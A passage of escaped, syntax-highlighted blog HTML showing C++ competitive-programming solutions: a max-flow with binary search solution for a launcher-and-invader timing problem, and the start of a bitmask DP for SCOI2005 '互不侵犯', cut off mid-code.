class=\"meta-string\"\u003e\u0026lt;queue\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eusing\u003c/span\u003e \u003cspan class=\"keyword\"\u003enamespace\u003c/span\u003e std;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e INF 0x7fff\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e SIZE 1000000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e launchers, invaders;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003edouble\u003c/span\u003e launchT, cooldownT;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003edouble\u003c/span\u003e Distance[\u003cspan class=\"number\"\u003e300\u003c/span\u003e][\u003cspan class=\"number\"\u003e300\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e head[SIZE], Next[SIZE], tot = \u003cspan class=\"number\"\u003e1\u003c/span\u003e, Start, End;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003eedge\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e dest, Time;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} graph_list[SIZE];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003epush_front\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e from, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e to, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e weight)\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e graph_list[++tot].dest = to;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e graph_list[tot].Time = weight;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Next[tot] = head[from];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e head[from] = tot;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003econnect\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e from, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e to, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e d)\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003epush_front\u003c/span\u003e(from, to, d);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003epush_front\u003c/span\u003e(to, from, \u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003equeue\u0026lt;\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e\u0026gt; bfsCore;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e depth[SIZE];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003ebool\u003c/span\u003e \u003cspan class=\"title\"\u003ebfs\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(depth, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"built_in\"\u003e\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e\u003c/span\u003e(depth));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (bfsCore.\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e())\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e bfsCore.\u003cspan class=\"built_in\"\u003epop\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e depth[Start] = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e bfsCore.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(Start);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (bfsCore.\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e()) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e current = bfsCore.\u003cspan class=\"built_in\"\u003efront\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e bfsCore.\u003cspan class=\"built_in\"\u003epop\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = head[current]; i; i = Next[i]) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e dest = graph_list[i].dest;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!depth[dest] \u0026amp;\u0026amp; graph_list[i].Time)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e depth[dest] = depth[current] + \u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e bfsCore.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(dest);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (depth[End])\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003edfs\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e current, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e CurrentTime)\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (current == End || CurrentTime == \u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e CurrentTime;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e remaining = CurrentTime;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = head[current]; i; i = Next[i]) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e v = graph_list[i].dest;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (depth[v] == depth[current] + \u003cspan class=\"number\"\u003e1\u003c/span\u003e \u0026amp;\u0026amp; graph_list[i].Time) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e timeRemaining = \u003cspan class=\"built_in\"\u003edfs\u003c/span\u003e(v, \u003cspan class=\"built_in\"\u003emin\u003c/span\u003e(remaining, graph_list[i].Time));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (timeRemaining \u0026gt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e remaining -= timeRemaining;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e graph_list[i].Time -= timeRemaining;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e graph_list[i ^ \u003cspan class=\"number\"\u003e1\u003c/span\u003e].Time += timeRemaining;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!remaining)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e depth[v] = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (CurrentTime - remaining == \u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e depth[current] = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e CurrentTime - remaining;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003eCan_kill\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e ans = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (\u003cspan class=\"built_in\"\u003ebfs\u003c/span\u003e()) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e tmp = \u003cspan class=\"built_in\"\u003edfs\u003c/span\u003e(Start, INF);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (tmp == \u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ans += tmp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e ans;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003ebool\u003c/span\u003e \u003cspan class=\"title\"\u003eable_to_success\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003edouble\u003c/span\u003e givenTime)\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e tot = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(head, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"built_in\"\u003e\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e\u003c/span\u003e(head));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(Next, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e Next);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e d = (givenTime - launchT) / (launchT + cooldownT) + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt;= launchers; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e j = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; j \u0026lt; d; j++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edouble\u003c/span\u003e now = launchT + j * (launchT + cooldownT);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e k = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; k \u0026lt;= invaders; k++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (now + Distance[i][k] \u0026lt;= givenTime)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003econnect\u003c/span\u003e(i + j * launchers, d * launchers + k, \u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Start = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e End = d * launchers + invaders + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt;= d * launchers; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003econnect\u003c/span\u003e(Start, i, \u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = d * launchers + \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt;= d * launchers + invaders; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003econnect\u003c/span\u003e(i, End, \u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"built_in\"\u003eCan_kill\u003c/span\u003e() == invaders;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edouble\u003c/span\u003e \u003cspan class=\"title\"\u003eMinTime\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edouble\u003c/span\u003e l = launchT, r = INF;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e maxStep = \u003cspan class=\"number\"\u003e50\u003c/span\u003e; \u003cspan class=\"comment\"\u003e//20+20\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (l - r != \u003cspan class=\"number\"\u003e0\u003c/span\u003e \u0026amp;\u0026amp; maxStep--) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edouble\u003c/span\u003e mid = (l + r) / \u003cspan class=\"number\"\u003e2\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003eable_to_success\u003c/span\u003e(mid))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e r = mid;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e l = mid;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e l;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e x[SIZE], y[SIZE];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edouble\u003c/span\u003e \u003cspan class=\"title\"\u003edis\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e x1, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e y1, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e x2, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e y2)\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edouble\u003c/span\u003e a = x1 - x2, b = y1 - y2;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"built_in\"\u003esqrt\u003c/span\u003e(a * a + b * b);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edouble\u003c/span\u003e v;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cin \u0026gt;\u0026gt; launchers \u0026gt;\u0026gt; invaders \u0026gt;\u0026gt; launchT \u0026gt;\u0026gt; cooldownT \u0026gt;\u0026gt; v;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e launchT /= \u003cspan class=\"number\"\u003e60\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt;= invaders; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cin \u0026gt;\u0026gt; x[i] \u0026gt;\u0026gt; y[i];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt;= launchers; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e destX, destY;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cin \u0026gt;\u0026gt; destX \u0026gt;\u0026gt; destY;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e j = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; j \u0026lt;= invaders; j++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Distance[i][j] = \u003cspan class=\"built_in\"\u003edis\u003c/span\u003e(x[j], y[j], destX, destY) / v;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cout \u0026lt;\u0026lt; fixed \u0026lt;\u0026lt; \u003cspan class=\"built_in\"\u003esetprecision\u003c/span\u003e(\u003cspan class=\"number\"\u003e6\u003c/span\u003e) \u0026lt;\u0026lt; \u003cspan class=\"built_in\"\u003eMinTime\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"互不侵犯\"\u003e互不侵犯\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e来源: SCOI2005/luoguP1896\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e压位dp\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"meta-string\"\u003e\u0026lt;iostream\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eusing\u003c/span\u003e \u003cspan class=\"keyword\"\u003enamespace\u003c/span\u003e std;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003elong\u003c/span\u003e \u003cspan class=\"keyword\"\u003elong\u003c/span\u003e mem[\u003cspan class=\"number\"\u003e5000\u003c/span\u003e][\u003cspan class=\"number\"\u003e15\u003c/span\u003e][\u003cspan class=\"number\"\u003e105\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"keyword\"\u003elong\u003c/span\u003e \u003cspan class=\"keyword\"\u003elong\u003c/span\u003e status;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e n, max_status, step_limit;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003ecount\u003c/span\u003e\u003cspan class=\"params\"\u003e(status \u0026amp;a)\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e ans = \u003cspan 